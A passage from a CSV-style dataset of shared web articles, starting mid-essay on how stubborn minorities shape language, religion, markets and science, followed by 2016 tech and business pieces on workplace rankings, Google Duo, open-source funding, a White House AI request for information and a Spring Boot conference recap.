Aramaic is what you will use. This led to the oddity of Aramaic being used in Mongolia, as records were maintained in the Syriac alphabet (Syriac is the Eastern dialect of Aramaic). And centuries later, the story would repeat itself in reverse, with the Arabs using Greek in their early administration in the seventh and eighth's centuries. For during the Hellenistic era, Greek replaced Aramaic as the lingua franca in the Levant, and the scribes of Damascus maintained their records in Greek. But it was not the Greeks who spread Greek around the Mediterranean -Alexander (himself not Greek but Macedonian and spoke Greek as second language, don't discuss this with a Greek as it infuriates them) did not lead to an immediate deep cultural Hellenization. It was the Romans who accelerated the spreading of Greek, as they used it in their administration across the Eastern empire. A French Canadian friend from Montreal, Jean-Louis Rheault, commented as follows, bemoaning the loss of language of French Canadians outside narrowly provincial areas. He said: ""In Canada, when we say bilingual, it is English speaking and when we say ""French speaking"" it becomes bilingual."" The One-Way Street of Religions In the same manner, the spread of Islam in the Near East where Christianity was heavily entrenched (it was born there) can be attributed to two simple asymmetries. The original Islamic rulers weren't particularly interested in converting Christians as these provided them with tax revenues -the proselytism of Islam did not address those called ""people of the book"", i.e. individuals of Abrahamic faith. In fact, my ancestors who survived thirteen centuries under Muslim rule saw advantages in not being Muslim: mostly in the avoidance of military conscription. The two asymmetric rules were are as follows. First, if a non Muslim man under the rule of Islam marries a Muslim woman, he needs to convert to Islam -and if either parents of a child happens to be Muslim, the child will be Muslim [3] . Second, becoming Muslim is irreversible, as apostasy is the heaviest crime under the religion, sanctioned by the death penalty. The famous Egyptian actor Omar Sharif, born Mikhael Demetri Shalhoub, was of Lebanese Christian origins. He converted to Islam to marry a famous Egyptian actress and had to change his name to an Arabic one. He later divorced, but did not revert to the faith of his ancestors. Under these two asymmetric rules, one can do simple simulations and see how a small Islamic group occupying Christian (Coptic) Egypt can lead, over the centuries, to the Copts becoming a tiny minority. All one needs is a small rate of interfaith marriages. Likewise, one can see how Judaism doesn't spread and tends to stay in the minority, as the religion has opposite rules: the mother is required to be Jewish, causing interfaith marriages to leave the community. An even stronger asymmetry than that of Judaism explains the depletion in the Near East of three Gnostic faiths: the Druze, the Ezidi, and the Mandeans (Gnostic religions are those with mysteries and knowledge that is typically accessible to only a minority of elders, with the rest of the members in the dark about the details of the faith). Unlike Islam that requires either parents to be Muslim, and Judaism that asks for at least the mother to have the faith, these three religions require both parents to be of the faith, otherwise the person says toodaloo to the community. Egypt has a flat terrain. The distribution of the population presents homogeneous mixtures there, which permits renormalization (i.e. allows the asymmetric rule to prevail) -we saw earlier in the chapter that for Kosher rules to work, one needed Jews to be somewhat spread out across the country. But in places such as Lebanon, Galilee, and Northern Syria, with mountainous terrain, Christians and other Non Sunni Muslims remained concentrated. Christians not being exposed to Muslims, experienced no intermarriage. Egypt's Copts suffered from another problem: the irreversibility of Islamic conversions. Many Copts during Islamic rule converted to Islam when it was merely an administrative procedure, something that helps one land a job or handle a problem that requires Islamic jurisprudence. One do not have to really believe in it since Islam doesn't conflict markedly with Orthodox Christianity. Little by little a Christian or Jewish family bearing the marrano-style conversion becomes truly converted, as, a couple of generations later, the descendants forget the arrangement of their ancestors. So all Islam did was out-stubborn Christianity, which itself won thanks to its own stubbornness. For, before Islam, the original spread of Christianity in the Roman empire can be largely seen due to... the blinding intolerance of Christians, their unconditional, aggressive and proselyting recalcitrance. Roman pagans were initially tolerant of Christians, as the tradition was to share gods with other members of the empire. But they wondered why these Nazarenes didn't want to give and take gods and offer that Jesus fellow to the Roman pantheon in exchange for some other gods. What, our gods aren't good enough for them? But Christians were intolerant of Roman paganism. The ""persecutions"" of the Christians had vastly more to do with the intolerance of the Christians for the pantheon and local gods, than the reverse. What we read is history written by the Christian side, not the Greco-Roman one. [4] We know too little about the Roman side during the rise of Christianity, as hagiographies have dominated the discourse: we have for instance the narrative of the martyr Saint Catherine, who kept converting her jailors until she was beheaded, except that... she may have never existed. There are endless histories of Christian martyrs and saints -but very little about the other side, Pagan heroes. All we have is the bit we know about the reversion to Christianity during the emperor Julian's apostasy and the writings of his entourage of Syrian-Greek pagans such as Libanius Antiochus. Julian had tried to go back to Ancient Paganism in vain: it was like trying to keep a balloon under water. And it was not because the majority was pagan as historians mistakenly think: it was because the Christian side was too unyielding. Christianity had great minds such as Gregorius of Nazianzen and Basil of Caesaria, but nothing to match the great orator Libanius, not even close. (My heuristic is that the more pagan, the more brilliant one's mind, and the higher one's ability to handle nuances and ambiguity. Purely monotheistic religious such as Protestant Christianity, Salafi Islam, or fundamentalist atheism accommodate literalist and mediocre minds that cannot handle ambiguity.) In fact we can observe in the history of Mediterranean ""religions"" or, rather, rituals and systems of behavior and belief, a drift dictated by the intolerant, actually bringing the system closer to what we can call a religion. Judaism might have almost lost because of the mother-rule and the confinement to a tribal base, but Christianity ruled, and for the very same reasons, Islam did. Islam? there have been many Islams , the final accretion quite different from the earlier ones. For Islam itself is ending up being taken over (in the Sunni branch) by the purists simply because these were more intolerant than the rest: the Wahhabis, founders of Saudi Arabia, were the ones who destroyed the shrines, and to impose the maximally intolerant rule, in a manner that was later imitated by ""ISIS"" (the Islamic State of Iraq and Syria/the Levant). Every single accretion of Sunni Islam seems to be there to accommodate the most intolerant of its branches. Imposing Virtue on Others This idea of one-sidedness can help us debunk a few more misconceptions. How do books get banned? Certainly not because they offend the average person -most persons are passive and don't really care, or don't care enough to request the banning. It looks like, from past episodes, that all it takes is a few (motivated) activists for the banning of some books, or the black-listing of some people. The great philosopher and logician Bertrand Russell lost his job at the City University of New York owing to a letter by an angry -and stubborn -mother who did not wish to have her daughter in the same room as the fellow with dissolute lifestyle and unruly ideas. [5] The same seems to apply to prohibitions -at least the prohibition of alcohol in the United States which led to interesting Mafia stories. Let us conjecture that the formation of moral values in society doesn't come from the evolution of the consensus. No, it is the most intolerant person who imposes virtue on others precisely because of that intolerance. The same can apply to civil rights. An insight as to how the mechanisms of religion and transmission of morals obey the same renormalization dynamics as dietary laws -and how we can show that morality is more likely to be something enforced by a minority. We saw earlier in the chapter the asymmetry between obeying and breaking rules: a law-abiding (or rule abiding) fellow always follows the rules, but a felon or someone with looser sets of principles will not always break the rules. Likewise we discussed the strong asymmetric effects of the halal dietary laws. Let us merge the two. It turns out that, in classical Arabic, the term halal has one opposite: haram . Violating legal and moral rules -any rule - is called haram . It is the exact same interdict that governs food intake and all other human behaviors, like sleeping with the wife of the neighbor, lending with interest (without partaking of downside of the borrower) or killing one's landlord for pleasure. Haram is haram and is asymmetric. From that we can see that once a moral rule is established, it would suffice to have a small intransigent minority of geographically distributed followers to dictate the norm in society. The sad news, as we will see in the next chapter, is that one person looking at mankind as an aggregate may mistakenly believe that humans are spontaneously becoming more moral, better, more gentle, have better breath, when it applies to only a small proportion of mankind. Popper's Paradox As I am writing these lines, people are disputing whether the freedom of the enlightened West can be undermined by the intrusive policies that would be needed to fight Salafi fundamentalists. Clearly can democracy -by definition the majority - tolerate enemies? The question is as follows: "" Would you agree to deny the freedom of speech to every political party that has in its charter the banning the freedom of speech?"" Let's go one step further, ""Should a society that has elected to be tolerant be intolerant about intolerance?"" This is in fact the incoherence that Kurt Gödel (the grandmaster of logical rigor) detected in the constitution while taking the naturalization exam. Legend has it that Gödel started arguing with the judge and Einstein, who was his witness during the process, saved him. I wrote about people with logical flaws asking me if one should be ""skeptical about skepticism""; I used a similar answer as Popper when was asked if "" one could falsify falsification"". We can answer these points using the minority rule. Yes, an intolerant minority can control and destroy democracy. Actually, as we saw, it will eventually destroy our world. So, we need to be more than intolerant with some intolerant minorities. It is not permissible to use ""American values"" or ""Western principles"" in treating intolerant Salafism (which denies other peoples' right to have their own religion). The West is currently in the process of committing suicide. The Irreverence of Markets and Science Now consider markets. We can say that markets aren't the sum of market participants, but price changes reflect the activities of the most motivated buyer and seller. Yes, the most motivated rules. Indeed this is something that only traders seem to understand: why a price can drop by ten percent because of a single seller. All you need is a stubborn seller. Markets react in a way that is disproportional to the impetus. The overall stock markets represent currently more than thirty trillions dollars but a single order in 2008, only fifty billion, that is less than two tenth of a percent of the total, caused them to drop by close to ten percent, causing losses of around three trillion. It was an order activated by the Parisian Bank Société Générale who discovered a hidden acquisition by a rogue trader and wanted to reverse the purchase. Why did the market react so disproportionately? Because the order was one-way -stubborn - there was desire to sell but no way to change one's mind. My personal adage is: The market is like a large movie theatre with a small door. And the best way to detect a sucker (say the usual finance journalist) is to see if his focus is on the size of the door or on that of the theater. Stampedes happen in cinemas, say when someone shouts ""fire"", because those who want to be out do not want to stay in, exactly the same unconditionality we saw with Kosher observance. Science acts similarly.We will return later with a discussion of how the minority rule is behind Karl Popper's approach to science. But let us for now discuss the more entertaining Feynman. What do You Care What Other People Think? is the title of a book of anecdotes by the great Richard Feynman, the most irreverent and playful scientist of his day. As reflected in the title of the book, Feynman conveys in it the idea of the fundamental irreverence of science, acting through a similar mechanism as the Kosher asymmetry. How? Science isn't the sum of what scientists think, but exactly as with markets, a procedure that is highly skewed. Once you debunk something, it is now wrong (that is how science operates but let's ignore disciplines such as economics and political science that are more like pompous entertainment). Had science operated by majority consensus we would be still stuck in the Middle Ages and Einstein would have ended as he started, a patent clerk with fruitless side hobbies. *** Alexander said that it was preferable to have an army of sheep led by a lion to an army of lions led by a sheep. Alexander (or no doubt he who produced this probably apocryphal saying) understood the value of the active, intolerant, and courageous minority. Hannibal terrorized Rome for a decade and a half with a tiny army of mercenaries, winning twenty-two battles against the Romans, battles in which he was outnumbered each time. He was inspired by a version of this maxim. At the battle of Cannae, he remarked to Gisco who complained that the Carthaginians were outnumbered by the Romans: ""There is one thing that's more wonderful than their numbers ... in all that vast number there is not one man called Gisgo. [6] "" [i] Unus sed leo: only one but a lion. This large payoff from stubborn courage is not just in the military. The entire growth of society, whether economic or moral, comes from a small number of people. So we close this chapter with a remark about the role of skin in the game in the condition of society. Society doesn't evolve by consensus, voting, majority, committees, verbose meeting, academic conferences, and polling; only a few people suffice to disproportionately move the needle. All one needs is an asymmetric rule somewhere. And asymmetry is present in about everything. Notes [1] Thank Amir-Reza Amini. [2] Thank Arnie Schwarzvogel. [3] Note some minor variations across regions and Islamic sects. The original rule is that if a Muslim woman marries a Non Muslim man, he needs to convert. In practice, in many countries, both need to do so. [4] The various modes of worship, which prevailed in the Roman world, were all considered by the people, as equally true; by the philosopher, as equally false; and by the magistrate, as equally useful. And thus toleration produced not only mutual indulgence, but even religious concord . Gibbon [5] ""Never doubt that a small group of thoughtful citizens can change the world. Indeed, it is the only thing that ever has."" - Margaret Mead [6] The Carthaginians seem to be short in name variety: there are plenty of Hamilcars and Hadsrupals confusing historians. Likewise there appear to be many Giscos, including the character in Flaubert's Salambo . [i]",en
1471352498,CONTENT SHARED,-2584174137395076448,534764222466712491,-2603418925334381846,,,,HTML,http://epoca.globo.com/vida/noticia/2016/08/elektro-google-e-sama-lideram-entre-melhores-empresas-para-trabalhar-em-2016.html,"Elektro, Google e Sama lideram entre as melhores empresas para trabalhar em 2016","Sama, primeiro lugar entre as empresas médias nacionais da lista ÉPOCA GPTW 2016 (Foto: Luís Lima) Época e Great Place to Work realizaram há pouco a cerimônia de premiação das melhores empresas para trabalhar de 2016. A pesquisa está completando 20 anos e é publicada com exclusividade por Época no Brasil. Como vem acontecendo nos últimos anos, o número de inscrições foi recorde: 1563 organizações disputaram um lugar entre as 150 vencedoras, média de 10,4 empresas por vaga. Em 2015 foram 1454 participantes e em 2014, 1276. Elektro, primeiro lugar entre as grandes na lista de ÉPOCA GPTW Brasil 2016 (Foto: Luís Lima) As empresas estão divididas em três categorias: Grandes, com 80 empresas que têm mil funcionários ou mais; Médias Multinacionais, com 35 organizações que possuem entre 100 e 999 empregados, e Médias Nacionais, também um total de 35 empresas com número de funcionários entre 100 e 999. As campeãs nas três categorias do ano passado conseguiram repetir o mesmo feito em 2016, destacando-se novamente como as melhores em suas categorias. São elas: * Grandes - Elektro * Médias Multinacionais - Google * Médias Nacionais - Sama Google, primeiro lugar na categoria médias multinacionais da lista Época GPTW 2016 (Foto: Luís Lima) Leia a lista completa:",pt
1471353094,CONTENT SHARED,-7585525446062170144,-1032019229384696495,880025729283447629,,,,HTML,https://techcrunch.com/2016/08/15/google-duo/,"Google launches Duo video calling app, a dull cross-OS FaceTime rival","Can Google spring back from its social failures with a bare-bones video calling app that unites iOS and Android users? Today it's launching Duo, which lets you 1-on-1 video call people via their phone number. The problem is they'll have to download the app, but won't get any bells and whistles, nor the ability to connect with Google Chat, Hangouts, Spaces, the upcoming Allo messaging product, or Google's Android SMS app. Google's adding one more silo to its mess of communication apps. Duo was announced at Google I/O in May and rolls out globally today in 78 languages. You can watch our video demo of it here: Duo is best understood as a bare-bones FaceTime competitor that works across Android and iOS 9 or later devices instead of just Apple products. Nabbing those users who want to video call their Android friends is one avenue for success. Duo could also challenge Facebook Messenger and Skype's video call features. Duo looks a bit bland, though, since it can't do group calling, video effects, or any text chat. If you want to video call someone without Duo, you'll have to invite them over SMS with an app download link. Starting from zero users with that uncertainty might push people to go with a competitor their contacts are likely to already have. Google's VP of Product Management for consumer communication Nick Fox tells me ""The logic is that [apps] will succeed if they're solving a use case really well"", though this ignores the fact that a product needs to solve something others haven't already. Fox explains that Google focused on three things with Duo. First, ""if there's anything that was our North Star, it was to be super, super simple."" Second, ""Speed and reliability"" thanks to Duo being built on Google's WebRTC video framework to handle HD or 2G. And third, ""The human element. You don't hear Google talk about this all that often, but we wanted to enable the human on the other end of the call to really be the experience."" At least Duo succeeds at that. You open it, with no need for a Google account, and see the camera facing you. Below is a list of recent calls and frequent contacts, with another tab with a full list of contacts who have or don't have Duo. Start a call, it goes full-screen, and if someone misses a call, they'll get a notification. That's basically it. Don't expect any Hangouts mustaches or costumes. The one innovative feature Duo sports is called Knock-Knock. This lets the recipient of a call see the caller before they accept and turn on their own camera. Fox says that otherwise, entering a call can be ""pretty abrupt"" since you don't know if they're lazing at home, in business mode at the office, or on the go. With Knock Knock, ""as a recipient of the call you see them before hand so you know their state of mind. I make silly faces to my kids...so when they see the preview, they start with a laugh."" This late in the game, Google will be fighting a steep uphill battle to get Duo traction. Video calling isn't a non-stop use case like text chat, and is often an extension of those conversations. Marooning Duo in its own app and not allowing it to connect to any other Google communications apps or websites is a bizarre choice. People might forget to use it even if they do download it. Duo's best bet will be the developing world thanks to its optimization for poor network connections like 2G. It can degrade video quality or switch to audio calling if there's weak connectivity, and it can seamlessly hand-off between cell and wi-fi connection in mid-call without dropping. The developing world has only recently gotten the phones and network connections necessary for video calling. The top chat app there, Facebook's WhatsApp, still doesn't have video calling though it's in the works. Perhaps a dedicated app for video calling over data could find some of the success WhatsApp did replacing SMS. With Duo and Allo (and Google Chat, Android SMS, and Spaces) for consumers, RCS messaging services for carriers, and Hangouts for the enterprise, Google is still a bit chaotic when it comes to communication. It seems to be reeling from failing to secure the acquisition of WhatsApp, which turned Facebook into the dominant global player. Duo is either Google blowing up its current communication stack, surrendering the rest of the chat space and keeping Duo separate so the underused apps don't weigh it down. Or it's another misstep by adding more disconnected islands to the archipelago. Despite all its engineering prowess when it comes to organizing information, Google is still awkward when it comes to creating inter-human community.",en
1471353504,CONTENT SHARED,2388097612905924826,3829784524040647339,-6107808233631554003,,,,HTML,http://www.wired.com/2016/08/open-source-won-now/,"Open Source Won. So, Now What?","The government is now a little more open. This week, the White House released its first official federal source code policy , detailing a pilot program that requires government agencies to release 20 percent of any new code they commission as open source software, meaning the code will be available for anyone to examine, modify, and reuse in their own projects. The government agencies will also share more code with each other, essentially adopting open source practices within their own governmental universe. It's the latest in a long line of high-profile victories for the open source movement. As recently as a decade ago, the worlds of both government and business worried that using open source software would open them up to bugs, security holes, and countless lawsuits. But despite these early fears, open source came to dominate the digital landscape. Today, practically every major piece of technology you interact with on a day-to-day basis-from the web to your phone to your car -was built using at least some form of freely available code. Some of the biggest companies in the world are not only using open source software, but open sourcing their own code as well. Earlier this year, Walmart released an open source cloud management system . ExxonMobil released an open source developer toolkit to help oil and gas companies adopt standard data formats. Financial giants like the London Stock Exchange Group, JP Morgan, and Wells Fargo are among the companies backing Hyperledger , open source software that could reinvent the stock market. In short, open source is now a core part of how software is created not just by software companies, but by every kind of company. That's because governments and corporations are realizing that open source is often the best way to develop software. Open source lets companies share the burden of developing common infrastructure and compatibility standards . And because anyone can participate, regardless of what company they work for,or whether they work for any company at all, open source can potentially attract a more diverse pool of talent-people with unique perspectives, who can spot problems or develop new features that the original creators of a piece of software never imagined. But despite this mainstream success, many crucial open source projects-projects that major companies rely on-are woefully underfunded. And many haven't quite found the egalitarian ideal that can really sustain them in the long term. Some open source developers struggle with burnout, while others have trouble working their way into the open source community. Though the community has proved that open source is among the most important ideas in the history of technology, it faces a whole new set of tests as it transforms from scrappy underdog to pillar of the mainstream. An Unsolved Problem Venture capitalists are betting big on open source startups. A Silicon Valley outfit called Cloudera raised over a billion dollars all on its own. Meanwhile, existing companies like Google, Facebook and Microsoft spend enormous amounts developing open source in-house. But many important and widely-used projects still struggle to raise funds, according to a recent paper published by the Ford Foundation. Take OpenSSL, an encryption software library used by countless websites and operating systems, including Android and iOS, to securely process sensitive data such as passwords and credit card details. Prior to 2014, only one person worked on the project full time, and this was a big reason no one noticed Heartbleed , a massive security hole that led to one of the worst digital security emergencies in history. The OpenSSL team patched Heartbleed, and the incident helped raise funds to prevent future problems. With support from several major tech companies, the Linux Foundation started the Core Infrastructure Initiative (CII) to help support important but under-funded open source projects, including OpenSSL. But now that the Heartbleed publicity has worn off, donations have slowed to a crawl, says OpenSSL Foundation co-founder Steve Marquess. Not counting its CII money, the organization only has enough money saved to keep paying two engineers for another year and a half. ""CII funds less than half of our current operation,"" Marquess says. ""We hope that continues, but it's something that we don't necessarily want to count on."" As important as CII is, it can't fund everything. Plenty of projects face neglect, including Dnsmasq , which is used in Android phones, Wi-Fi routers, and cable modems, and OpenBSD, a security-focused operating system included in many commercial firewall products. OpenBSD was nearly forced to suspend operations in early 2014, but a generous donation saved it at the last minute. The project exceeded its fundraising goals last year, thanks in large part to the publicity surrounding a close call the year before, as well as the Heartbleed fiasco. But this year, the foundation has only reached about a third of its goal. ""The bottom line is that unless things pick up we will not be able to meet our goals and will reluctantly be forced to reduce our support for OpenBSD and related projects,"" says OpenBSD Foundation director Kenneth Westerback. Barriers to Entry The other problem is that although the open source projects really thrive when everyone has a say-when democracy really takes over-this isn't always the ways things work. Because they have the money, the big companies now have a much greater say in how things work, and outsiders have a hard time breaking in. Sure, the path is there. Open source contributions are a kind of living resumé that can get you a job at the big companies. A developer's open source contributions make it easier for employers to see how that developer codes, how they approach particular projects, and how they've evolved over time as coders. And small companies are free to contribute as well. But all this takes time or money or both. A single parent may not have the free evening. A small company may not have enough funds. One result is that the open source community is already less diverse than the tech industry as a whole. According to a survey published by Libresoft in 2013, only about 11 percent of open source contributors were women. That was up from 1.1 percent in 2002 . But it still lags far behind the number of women employed in the software industry in general (21 percent of all computer programmers are women, according to Bureau of Labor Statistics ). Burnout exacerbates the problem, as volunteers-particularly those engaged in the non-technical aspects of open source projects-find themselves overwhelmed with obligations outside their paying jobs. The Next Wave Neither of these problems have easy solutions. Money won't solve all of open source's problems-the tech industry has plenty of diversity problems as it is-but it would go a long way towards bringing more people to the table, and making sure that important projects get the attention that they deserve. It seems clear that the companies that benefit the most from free and open source software should contribute more funds towards its development, but that funding can raise its own issues. For example, Marquess says that in order for people to trust OpenSSL, it's crucial that no one company or organization control the project. That means one company alone can't hire all the engineers and pay them to work on OpenSSL. The project needs lots of different companies to chip in to stay independent. Software developer Audrey Eschright argues that a new movement is emerging from the open source community. She believes the movement should bring more attention to community and actually paying people for their labor. ""We're here not because of the source code, but because of the community,"" she says. That may sound heretical purists who have fought long and hard to bring source code-including code funded by tax dollars-out into the open. But their own ideas were once fringe and have now hit the mainstream. Perhaps it's time for a new generation to throw away old assumptions and offer a new way forward.",en
1471361066,CONTENT SHARED,-2561023317421962555,-1387464358334758758,3366208659216606452,,,,HTML,http://googlediscovery.com/2016/08/15/google-vai-encerrar-hangouts-on-air-para-reforcar-o-youtube-ao-vivo/,Google vai encerrar Hangouts On Air para reforçar o YouTube ao vivo | Google Discovery,"A partir do dia 12 de setembro, a Hangouts On Air será transferido do Google+ para a plataforma do YouTube ao vivo. A mudança definitiva afeta a programação de eventos existentes no Google+ que deverão ser migrados para o YouTube. ""Se você deseja programar novos Hangouts On Air, terá de usar o YouTube ao vivo. Após essa data, não será mais possível programar eventos no Google+, e você terá de mover para o YouTube ao vivo os eventos existentes programados para depois de 12 de setembro"", publicou o Google. Caso você já queira programar seus próximos eventos ao vivo, a ferramenta de agendamento pode ser acessada por meio da área de Eventos de transmissão ao vivo no Estúdio de Criação. Para aqueles que utilizam as funcionalidades de perguntas e respostas, showcase e aplausos; o Google informou que os apps não estarão mais disponíveis após a mudança para o YouTube ao vivo. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1471362160,CONTENT SHARED,7207307032404768106,-4627026983118548639,2463901734176270737,,,,HTML,http://blogs.gartner.com/chris-ross/2016/08/09/gartner-hype-cycle-for-digital-marketing-and-advertising-2016/,Gartner Hype Cycle for Digital Marketing and Advertising,"Hype, by definition should make us all a little wary. Gartner Hype Cycles are designed to help sift, sort and qualify hype and manage our attraction to all those bright shiny marketing objects. The ultimate aim is to support decisions on where your valuable attention and marketing resources should be directed. For 2016, Gartner combined the Digital Marketing and Advertising Hype Cycles into a single report responding to a more integrated marketing approach and the need for a more complete, single view of the technologies and practices shaping modern marketing. There are 40 specific technology profiles featured within the report, each and every one worthy of your focused attention. In the interest of a more summarized view, I'm offering a wider perspective and looking at some of the meta-trends emerging from the report. Design your customer base - The ultimate embodiment of ""Begin with the end in mind."" savvy organizations start with a detailed, data-driven understanding of what types of customers will provide the most business value, now and in the future, and use that information to design strategies to attract and retain those target customers. This idea of optimal customer modeling as the foundation of marketing can provide radical clarity and streamline decisions on strategy and resource prioritization. Know me, or else - Customers expect you to know their preferences and context and failing to do so may have a very direct business impact. This customer knowledge expands beyond just intelligent use of data, incorporating expectations around location and proximity factored into messaging, offers and overall communication strategy. No time like real time - Related to the above, all this laser-targeted interaction and communication is expected to take place in real-time, or even predicted ahead of time. Consumers have set the bar high in terms of what they expect, and how quickly they expect it. Mobile is mainstream - Most consumers own smartphones and providing an effective, relevant mobile experience is table stakes. Yes, you can still differentiate by having a better experience than others but mobile is now an innate marketing element. Mobile analytics, mobile commerce, beacons, AR and other mobile technologies are all part of the emerging mobile story. The machines are coming - but Skynet is still a ways off. General purpose machine intelligence, virtual personal assistants and other technologies leveraging artificial intelligence are real and will increasingly play a role in the life of modern marketers. For the moment these types of technologies will take on repetitive tasks that lend themselves more easily to automation. As the technologies improve the potential applications will expand and play a larger marketing role. Talk to the hand - You will be blocked! Ad blocking and advertising technologies are locked in an arms race as advertisers strive to assure they can continue to target and deliver based on increasingly discerning requirements while consumers work to protect their privacy and minimize advertiser invasion of their digital experiences. Ad blocking has very different implications across the spectrum of consumers, but it is a real, and potentially disruptive factor. The measurement mandate - Increasing business pressures and vendor promises of a quantified marketing utopia converge to create very high expectations for marketing leaders to meet around marketing performance measurement. Being data-driven as the foundation for any marketing activity and effectively capturing and optimizing performance is simply expected. As the scope of marketer responsibility continues to expand the expectations around measurement will expand accordingly. The Gartner Hype Cycle for Digital Marketing and Advertising , 2016 (subscription required) should be required reading for every marketing leader. Embrace the era of the empowered consumer, leverage data wherever you can and be thinking ahead about integrating the incredible tools and technologies coming down the road.",en
1471364061,CONTENT SHARED,3609315114795782005,3829784524040647339,-6107808233631554003,,,,HTML,https://www.whitehouse.gov/webform/rfi-preparing-future-artificial-intelligence,Request for Information: Preparing for the Future of Artificial Intelligence,"Request for Information: Preparing for the Future of Artificial Intelligence SUMMARY: Artificial intelligence (AI) technologies offer great promise for creating new and innovative products, growing the economy, and advancing national priorities in areas such as education, mental and physical health, addressing climate change, and more. Like any transformative technology, however, AI carries risks and presents complex policy challenges along a number of different fronts. The Office of Science and Technology Policy (OSTP) is interested in developing a view of AI across all sectors for the purpose of recommending directions for research and determining challenges and opportunities in this field. The views of the American people, including stakeholders such as consumers, academic and industry researchers, private companies, and charitable foundations, are important to inform an understanding of current and future needs for AI in diverse fields. The purpose of this RFI is to solicit feedback on overarching questions in AI, including AI research and the tools, technologies, and training that are needed to answer these questions. DATES: Responses must be received by July 22, 2016 to be considered. This form is now closed. Instructions: Response to this RFI is voluntary. Responses exceeding 2,000 words will not be considered. Respondents need not reply to all questions; however, they should clearly indicate the number of each question to which they are responding (correspondent to the above). Brevity is appreciated. Responses to this RFI may be posted without change online. OSTP therefore requests that no business proprietary information or personally identifiable information be submitted in response to this RFI. Please note that the U.S. Government will not pay for response preparation, or for the use of any information contained in the response. SUPPLEMENTARY INFORMATION: On May 3, 2016, the White House Office of Science and Technology Policy announced a number of new actions related to AI: As a part of this initiative, the Federal Government is working to leverage AI for public good and to aid in promoting more effective government. OSTP is in the process of co-hosting four public workshops in 2016 on topics in AI in order to spur public dialogue on these topics and to identify challenges and opportunities related to this emerging technology. These topics include the legal and governance issues for AI, AI for public good, safety and control for AI, and the social and economic implications of AI. A new National Science and Technology Council (NSTC) Subcommittee on Machine Learning and Artificial Intelligence has also been established. This group will monitor state-of-the-art advances and technology milestones in artificial intelligence and machine learning within the Federal Government, in the private sector, and internationally, as well as help coordinate Federal activity in this space. Ultimately, dialogue from these workshops and the efforts of the NSTC Subcommittee may feed into the development of a public report. The Administration is working to leverage AI as an emergent technology for public good and toward a more effective government. Applications in AI to areas of government that are not traditionally technology-focused are especially significant; there are myriad opportunities to improve government services in areas related to urban systems and smart cities, mental and physical health, social welfare, criminal justice, and the environment. There is also tremendous potential in AI-driven improvements to programs that help disadvantaged and vulnerable populations. OSTP is particularly interested in responses related to the following topics: (1) the legal and governance implications of AI; (2) the use of AI for public good; (3) the safety and control issues for AI; (4) the social and economic implications of AI; (5) the most pressing, fundamental questions in AI research, common to most or all scientific fields; (6) the most important research gaps in AI that must be addressed to advance this field and benefit the public; (7) the scientific and technical training that will be needed to take advantage of harnessing the potential of AI technology; (8) the specific steps that could be taken by the federal government, research institutes, universities, and philanthropies to encourage multi-disciplinary AI research; and (9) any additional information related to AI research or policymaking, not requested above, that you believe OSTP should consider.",en
1471365552,CONTENT SHARED,5336562616168017846,7645894863578715801,6107910099552275355,,,,HTML,https://seroter.wordpress.com/2016/08/09/enterprises-fighting-back-spring-boot-is-the-best-and-other-springone-platform-takeaways/,"Enterprises fighting back, Spring Boot is the best, and other SpringOne Platform takeaways","Last week I was in Las Vegas for SpringOne Platform . This conference had one of the greatest session lists I've ever seen, and brought together nearly 2,000 people interested in microservices, Java Spring, DevOps, agile, Cloud Foundry, and cloud-native development. With sponsors like Google, Microsoft, HortonWorks, Accenture, and AWS, and over 400 different companies represented by attendees, the conference had a unique blend of characters. I spent some time reflecting on the content and vibe of SpringOne Platform, and noticed that I kept coming back to the following themes. Finally! Large, established companies are tired of operating slow-moving, decrepit I.T. departments where nothing interesting happens. At SpringOne Platform, I saw company after company talking about how they are creating change, and then showing the results. Watch this insightful keynote from Citi where they outline pain points, and how they've changed their team structure, culture, and technology: You don't have to work at Uber, Etsy, Netflix or AWS to work on cutting-edge technology. Enterprises have woken up to the fact that outsourcing their strategic technology skills was a dumb decision. What are they doing to recover? Newfound focus on hiring and expanding technology talent. In just about every enterprise-led session I attended, the presentation closed with a ""we're hiring!"" notice. Netflix has been ending their blog posts with this call-to-action for YEARS. Enterprises are starting to sponsor conferences and go where developers hang out. Additionally, because you can't just hire hundreds of devs that know cloud-native patterns, I'm seeing enterprises make a greater investment in their existing people. That's one reason Pluralsight continues to explode in popularity as enterprises purchase subscriptions for all their tech teams. Upgrading and investing in technology. Give the devs what they want! Enterprises have started to realize that classic enterprise technology doesn't attract talented people to work on it. Gartner predicts that by the year 2020, 75% of the apps supporting digital business will be built, not bought . That means that your dev teams need the tools and tech that let them crank out customer-centric, resilient apps. And they need support for using modern approaches to delivering software. If you invest in technology, you'll attract the talent to work with it. Bloomberg gives devs tools they need. And freedom to use and contribute to OSS. Their GitHub repo is here: github.com/bloomberg #s1p - Richard Seroter (@rseroter) August 03, 2016 For 17+ years I've either coded in .NET or Node.js (with a little experimentation in Go, Ruby, and Java). After joining Pivotal , I decided that I should learn Spring , since that's our jam. I've never seen anything better than Spring Boot for getting developers rolling. Instead of spending hours (days?) setting up boilerplate code, and finding the right mix of dependencies for your project, Spring Boot takes care of all that. Give me 4 minutes, and I can build and deploy a git-backed Configuration Server. In a few moments I can flip on OAuth2 security or distributed tracing. And this isn't hello-world quality stuff; this is the productization of Netflix OSS and other battle tested technology that you can use with simple code annotations. That's amazing, and you can use the Spring Initializer to get started today. Smart companies realize that devs shouldn't be building infrastructure, app scaffolding or wrangling dependencies; they should be creating user experiences and business logic. Whereas Node.js has a billion packages and I spend plenty of time selecting ones that don't have Guy Fieri images embedded , Spring Boot gives devs a curated, integrated set of packages. And it's saving companies like Comcast, millions of dollars. @ wattersjames @ cloudfoundry @ springboot I agree the Spring Eco-system I am projecting will save us millions I can say that with confidence - James Taylor (@jctbmwi8) August 07, 2016 Presenter after presenter at SpringOne Platform were able to quickly demonstrate complex distributed systems concepts by using Spring Boot apps. Java innovation happens in Spring. I'm probably being optimistic, but it seems like some of the hype is settling down, and we're actually getting to work on transformation. The SpringOne Platform talks (both in sessions, and hallway/lunch conversations) weren't about visions of the future, but actual in-progress efforts. Transformation is hard and there aren't shortcuts. Simply containerizing won't make a difference, for example. Stop pretending that things work the same wherever they run (e.g. cloud). It takes work, says @ caseywest . #s1p - Richard Seroter (@rseroter) August 02, 2016 Talk after talk, conducted by analysts or customers, highlighted the 